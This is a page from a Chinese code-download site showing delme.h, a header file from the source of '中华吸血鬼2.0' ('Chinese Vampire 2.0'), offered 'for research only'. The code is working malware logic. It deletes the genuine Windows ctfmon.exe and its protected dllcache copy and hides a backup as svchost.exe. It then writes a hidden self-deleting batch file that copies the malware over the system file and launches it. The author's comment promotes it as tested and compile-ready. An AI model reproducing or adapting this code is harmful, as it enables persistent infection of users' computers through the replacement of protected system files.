⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 delme.h

📁 中华吸血鬼2.0源代码,这是一个低版本的代码,但是也包含了比较强的功能,一切仅供研究使用,若用于非法用途,后果自负!
💻 H
字号:

/* 
			中华吸血鬼源代码  作者:黑网之神购买代码后请勿随便发布,请
			珍惜作者的劳动成果!如果代码丢失,概不负责代码风格和注释我
			已经改的非常好了比较清晰,容易读懂,没有使用C++,使用纯C编写
			,直接在VC++6.0下编译,编译就可以使用,经过数百次的测试,已经
			非常完美了,无需过多修改!如果无法清除,请向作者索要一份专杀
			    
				            作者:黑网之神     2008/5/1  
*/





#include "head.h"
#include "closeproces.h"

//-----------------------------------------------------------------------------------
DWORD WINAPI delme(LPVOID lpParameter)
{
	
//------------------------------------------------------------------------------------
	char szpath[MAX_PATH];
	char dqpath[MAX_PATH];
	char systempath[MAX_PATH];
	char systempathbak[MAX_PATH]={0};
	char systempathdllcache[MAX_PATH]={0};
	FILE *file,*file1;

//------------------------------------------------------------------------------------
	GetModuleFileName(NULL,szpath,MAX_PATH);  //得到当前文件路径
	GetSystemDirectory(systempath,MAX_PATH);  //得到系统文件夹
	GetCurrentDirectory(MAX_PATH,dqpath);     //得到当前文件夹
	//------------------------------------------------------------------------------------
	strcpy(systempathbak,systempath);		  //把系统目录名复制给systempathbak
	strcat(systempathbak,"\\wins\\svchost.exe");//给systempath完整文件名给备份输入法文件的
//------------------------------------------------------------------------------------
	strcpy(systempathdllcache,systempath);    //得到系统文件保护目录
	strcat(systempathdllcache,"\\dllcache\\ctfmon.exe"); //得到系统文件保护的完整路径	
	strcat(systempath,"\\ctfmon.exe");		  //得到输入法文件完整路径名
	WinExec(systempathbak,0);				 //运行备份的输入法文件
	Sleep(1);
//------------------------------------------------------------------------------------
	if(strcmp(szpath,systempath))
	{
		
		closeproces(); 
		Sleep(1);
		file1=fopen(systempathbak,"rb")	;
		if (!file1)
		{
		CopyFile(systempath,systempathbak,FALSE); //把被输入法文件备份到里面
		WinExec(systempathbak,0);				  //运行备份的输入法文件
		}
		
		DeleteFile(systempath);					  //删除输入法文件
		DeleteFile(systempathdllcache);			  //删除被保护的输入法文件
		
		strcat(dqpath,"\\delrunme.bat");
		file=fopen(dqpath,"w");
//--------------------------------------------------------------------------
		//删除自身的bat
		char copy1[MAX_PATH];
		char copy2[MAX_PATH];
		char copy3[MAX_PATH];
		sprintf(copy1,"copy \"%s\" \"%s\"",szpath,systempath);
		sprintf(copy2,"\r\ncopy \"%s\" \"%s\"\r\nipconfig\r\ndel \"%s\"\r\n",szpath,systempathdllcache,szpath);
		sprintf(copy3,"start %s",systempath);
		fputs(copy1,file);
		fputs(copy2,file);
		fputs(copy3,file);
		fputs("\r\ndel %0",file);
		fclose(file);
		WinExec(dqpath,SW_HIDE);
		exit(0);
		
	}	
//------------------------------------------------------------------------------------
		
	Sleep(8000);	
return 1;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -